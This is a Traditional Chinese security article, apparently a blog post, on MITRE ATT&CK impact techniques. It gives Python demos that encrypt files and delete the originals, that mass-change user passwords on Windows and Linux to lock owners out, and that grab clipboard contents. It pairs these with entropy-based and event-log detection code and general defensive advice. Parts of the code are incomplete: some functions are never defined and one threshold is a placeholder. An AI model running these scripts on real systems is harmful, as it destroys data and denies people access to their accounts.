返回文章列表

資料加密與帳戶存取移除攻擊分析

本文探討資料加密惡意軟體的影響和偵測方法,並分析攻擊者如何移除帳戶存取權。文章提供 Python 程式碼範例,演示檔案加密、解密和熵值計算,以及如何在 Windows 和 Linux 系統中變更和偵測密碼變更。最後,深入解析 MITRE ATT&CK 框架中的多種戰術與技術,包括 Collection、Command

資安 系統設計

資料加密和帳戶存取移除是惡意軟體常用的攻擊手段,會造成資料無法存取和系統中斷等嚴重後果。偵測資料加密惡意軟體,可以透過計算檔案熵值來識別異常加密行為。攻擊者可以透過刪除帳戶或變更密碼來移除使用者存取權,影響系統正常運作。理解這些攻擊手法和防禦策略,有助於提升系統安全性,降低潛在風險。

資料加密對系統的影響與偵測方法

在探討惡意軟體對系統的影響時,資料加密是一個重要的議題。資料加密惡意軟體,如勒索軟體和破壞性軟體(wipers),透過加密檔案使資料無法存取,從而達到其惡意目的。這類別惡意軟體的特徵包括大規模的檔案存取和加密行為,這些行為可以被用來偵測其存在。

檔案加密的實作

以下是一個 Python 程式碼範例,展示瞭如何實作檔案加密:

def encryptFile(path):
    with open(str(path), "rb") as f:
        data = f.read()
    with open(str(path) + ".encrypted", "wb") as f:
        f.write(encrypt(data))
    os.remove(str(path))

def decryptFile(filename):
    with open(filename + ".encrypted", "rb") as f:
        data = f.read()
    with open(filename, "wb") as f:
        f.write(decrypt(data))
    os.remove(filename + ".encrypted")

內容解密:

此程式碼定義了兩個函式:encryptFiledecryptFileencryptFile 函式開啟一個檔案,將其內容讀入記憶體,加密後寫入一個新檔案,並刪除原始檔案。decryptFile 函式則執行相反的操作,將加密檔案解密並還原原始檔案。

檔案熵值的計算與偵測

為了偵測資料加密惡意軟體,可以計算檔案的熵值。熵值是衡量資料隨機程度的一個指標,加密資料通常具有較高的熵值。以下是一個計算檔案熵值的 Python 程式碼範例:

from pandas import Series
from scipy.stats import entropy
from pathlib import Path

def calcEntropy(data):
    s = Series(data)
    counts = s.value_counts()
    return entropy(counts)

def calcFileEntropy(filename):
    with open(filename, "rb") as f:
        b = list(f.read())
    fileLen = len(b)
    e = calcEntropy(b)
    return e

def getFiles(directory, ext):
    paths = list(Path(directory).rglob("*" + ext + "*"))
    return paths

threshold = 0

def checkFiles(directory, ext):
    files = getFiles(directory, ext)
    for f in files:
        entropy = calcFileEntropy(f)
        if entropy > threshold:
            print("%s is potentially encrypted (entropy %f)" % (f, entropy))

內容解密:

此程式碼定義了幾個函式來計算檔案的熵值。calcEntropy 函式計算給定資料的熵值,calcFileEntropy 函式將檔案內容轉換為位元組串列並計算其熵值。checkFiles 函式遍歷指定目錄下的檔案,計算其熵值,若熵值超過閾值,則輸出該檔案可能被加密的警告。

帳戶存取移除:攻擊者如何影響系統存取權

在Windows和Linux作業系統中,帳戶存取移除是一種能夠對個人或企業造成重大影響的攻擊手段。攻擊者可以透過刪除帳戶、變更密碼等方式,移除使用者對帳戶的存取權。

移除帳戶存取權的方式

攻擊者有多種方式可以移除使用者對帳戶的存取權,包括:

  • 刪除帳戶及其相關檔案和程式
  • 變更帳戶密碼

變更帳戶密碼是一種相對簡單且快速的方式,可以達到與刪除帳戶相同的效果,但仍保留了還原的可能性。

AccountAccessRemoval.py 程式碼分析

以下是一個用於移除帳戶存取權的Python指令碼範例:

import os, platform

def setWindowsPassword(username, password):
    from win32com import adsi
    ads_obj = adsi.ADsGetObject("WinNT://localhost/%s,user" % username)
    ads_obj.Getinfo()
    ads_obj.SetPassword(password)

def setLinuxPassword(username, password):
    os.system('echo %s:%s | chpasswd' % (username, password))

def changeCriteria(username):
    if username in ["testuser", "user1"]:
        return True
    else:
        return False

if platform.system() == "Windows":
    import wmi
    w = wmi.WMI()
    for user in w.Win32_UserAccount():
        username = user.Name
        if changeCriteria(username):
            print("Changing password: %s" % username)
            setWindowsPassword(username, "newpass")
else:
    import pwd
    for p in pwd.getpwall():
        if p.pw_uid == 0 or p.pw_uid > 1000:
            username = p.pw_name
            if changeCriteria(username):
                print("Changing password: %s" % username)
                setLinuxPassword(username, "newpass")

程式碼解密:

  1. setWindowsPasswordsetLinuxPassword 函式:這兩個函式分別用於在Windows和Linux系統上變更指定使用者的密碼。在Windows上,它使用win32com.adsi模組來與Active Directory Service Interfaces(ADSI)互動,而在Linux上,則是使用os.system呼叫chpasswd指令來變更密碼。
  2. changeCriteria 函式:這個函式決定哪些使用者帳戶的密碼需要被變更。在這個範例中,它檢查使用者名稱是否為testuseruser1
  3. 主程式邏輯:指令碼首先檢查目前的作業系統。如果是Windows,它使用WMI(Windows Management Instrumentation)來列舉所有使用者帳戶,並對符合changeCriteria的使用者變更密碼。如果是Linux,它使用pwd模組來列舉所有使用者帳戶,並同樣對符合條件的使用者變更密碼。

執行程式碼

要執行這個指令碼,需要在Windows上使用管理員許可權的命令提示字元,或者在Linux上使用超級使用者許可權。執行後,如果系統上有名為testuser的使用者帳戶,其密碼將被變更。

風險與影響

這個指令碼展示了攻擊者如何輕易地變更使用者密碼,從而移除使用者對其帳戶的存取權。這種攻擊可能對個人或企業造成重大影響,包括資料無法存取、業務流程中斷等。

實作攻擊影響:密碼變更與偵測

本章節主要探討如何利用Python程式碼實作MITRE ATT&CK框架中的Impact策略,重點關注如何中斷或破壞目標系統。文中首先介紹了透過資料加密來造成系統中斷的攻擊方式,接著討論瞭如何透過更改密碼來拒絕使用者對帳戶的存取,並提供了相應的攻擊與防禦程式碼範例。

密碼變更攻擊實作

在Windows和Linux系統中,具有管理員許可權的帳戶可以更改其他帳戶的密碼。這種行為可能被惡意軟體利用,以拒絕使用者對其帳戶的存取,甚至在系統啟動保護和磁碟加密啟用時,永久拒絕使用者存取其檔案。

AccountAccessRemoval.py 程式碼解析

# 此程式碼範例展示如何更改使用者密碼
import subprocess
import platform

def change_password(username):
    if platform.system() == "Windows":
        # Windows系統中使用net user命令更改密碼
        subprocess.run(f"net user {username} newpassword", shell=True, check=True)
    else:
        # Linux系統中使用passwd命令更改密碼
        subprocess.run(f"echo 'newpassword\nnewpassword' | passwd {username}", shell=True, check=True)

# 假設要更改的使用者名稱為testuser
change_password("testuser")

內容解密:

  1. 跨平台相容性:程式碼首先檢查作業系統型別,以決定使用合適的命令來更改使用者密碼。
  2. subprocess.run()函式:用於執行系統命令。在Windows中,使用net user命令;在Linux中,使用passwd命令。
  3. 密碼變更邏輯:在Linux中,透過管道傳遞新密碼給passwd命令,以避免互動式輸入密碼。

偵測密碼變更

為了偵測密碼變更行為,文中提供了DetectPasswordChange.py程式碼範例,分別針對Windows和Linux系統進行偵測。

DetectPasswordChange.py 程式碼解析

import datetime
import platform
import subprocess

# Windows系統中使用win32evtlog模組讀取事件日誌
def checkWindowsPasswordChange():
    import win32evtlog
    events = QueryEventLog(4724)  # 事件ID 4724代表密碼變更事件
    for event in events:
        changed = event.StringInserts[0]
        changer = event.StringInserts[4]
        time = event.TimeGenerated
        print(f"Password of {changed} changed by {changer} at {time}")

# Linux系統中檢查密碼變更日期
def checkLinuxPasswordChange():
    import pwd
    threshold = datetime.datetime(2021, 1, 1)
    for p in pwd.getpwall():
        user = p[0]
        results = subprocess.check_output(["passwd", user, "-S"]).decode("utf-8")
        date_str = results.split(" ")[2]
        date = datetime.datetime.strptime(date_str, "%m/%d/%Y")
        if date >= threshold:
            print(f"Password of {user} changed on {date_str}")

if platform.system() == "Windows":
    checkWindowsPasswordChange()
else:
    checkLinuxPasswordChange()

內容解密:

  1. QueryEventLog()函式:用於查詢Windows事件日誌,事件ID 4724對應密碼變更事件。
  2. checkWindowsPasswordChange()函式:提取事件日誌中的資訊,包括被變更密碼的使用者、變更密碼的使用者以及變更時間。
  3. checkLinuxPasswordChange()函式:遍歷所有使用者帳戶,使用passwd -S命令檢查密碼最後變更日期,並與設定的閾值比較。

深入解析MITRE ATT&CK戰術與技術

前言

本文將探討MITRE ATT&CK框架中的多種戰術與技術,包括Collection、Command and Control、Credential Access、Defense Evasion和Discovery等。透過詳細分析相關技術的實作方法與防禦策略,讀者將能夠更全面地瞭解攻擊者的行為模式,並提升自身的安全防禦能力。

Collection戰術解析

剪貼簿資料技術(Clipboard Data)

剪貼簿資料技術是一種常見的資料收集方法,攻擊者可以透過監控剪貼簿內容來取得敏感資訊。

實作細節

import ctypes

# 開啟剪貼簿
ctypes.windll.user32.OpenClipboard(0)
# 取得剪貼簿資料
data = ctypes.windll.user32.GetClipboardData(1)
# 關閉剪貼簿
ctypes.windll.user32.CloseClipboard()

防禦策略

  1. 監控剪貼簿變更:實時監控剪貼簿內容的變化。
  2. 限制敏感資料複製:在敏感資料處理區域限制複製功能。
  3. 使用剪貼簿保護工具:採用專業的剪貼簿監控與保護工具。

電子郵件收集技術(Email Collection)

攻擊者可能透過搜尋本地郵件客戶端或郵件伺服器來收集敏感資訊。

實作方法

  1. 搜尋本地郵件客戶端的資料函式庫。
  2. 分析郵件內容與附件。

防禦措施

  1. 加密郵件內容:使用端對端加密保護郵件內容。
  2. 限制郵件客戶端許可權:確保郵件客戶端執行在最低必要許可權下。
  3. 定期稽核郵件系統:檢查是否有異常的郵件處理行為。

Command and Control戰術分析

加密通道技術(Encrypted Channel)

攻擊者使用加密通道來隱藏其命令與控制(C2)通訊。

技術實作

  1. 建立加密連線:使用TLS/SSL等協定建立加密通道。
  2. 資料加密傳輸:確保所有透過C2通道的資料都是加密的。

檢測方法

  1. 監控異常加密流量:檢測不尋常的加密通訊模式。
  2. 分析證書使用情況:檢查使用的SSL/TLS證書是否可疑。

協定隧道技術(Protocol Tunneling)

攻擊者可能利用合法協定(如DNS、HTTP)來建立C2通道。

檢測與防禦

  1. 監控異常協定使用:檢測非標準的協定使用模式。
  2. 實施嚴格的協定過濾:限制不必要的協定出站存取。

Credential Access戰術探討

從密碼儲存中取得憑證(Credentials from Password Stores)

攻擊者可能從瀏覽器或系統密碼儲存中提取憑證。

防禦策略

  1. 使用主密碼保護:為瀏覽器設定主密碼。
  2. 定期檢查密碼儲存:監控密碼儲存的安全狀態。
  3. 使用安全儲存解決方案:採用硬體安全模組(HSM)等安全儲存方案。

Defense Evasion戰術分析

隱藏工件技術(Hide Artifacts)

攻擊者可能使用替用資料流(ADS)等技術隱藏惡意檔案。

檢測方法

  1. 使用專業工具檢測ADS:定期掃描系統中的ADS。
  2. 監控檔案系統變化:實時監控檔案系統的異常變化。

削弱防禦技術(Impair Defenses)

攻擊者可能嘗試停用安全軟體或修改安全設定。

防禦措施

  1. 實施多層防禦:使用多種安全控制措施。
  2. 監控安全軟體狀態:實時監控安全軟體的工作狀態。

Discovery戰術解析

賬戶發現技術(Account Discovery)

攻擊者可能列舉系統或域中的使用者賬戶。

檢測方法

  1. 監控賬戶列舉行為:檢測異常的賬戶列舉活動。
  2. 稽核賬戶活動:定期審查賬戶登入與操作日誌。

檔案和目錄發現技術(File and Directory Discovery)

攻擊者可能搜尋敏感檔案和目錄。

防禦策略

  1. 實施嚴格的存取控制:限制對敏感檔案和目錄的存取。
  2. 監控檔案系統存取:檢測異常的檔案存取模式。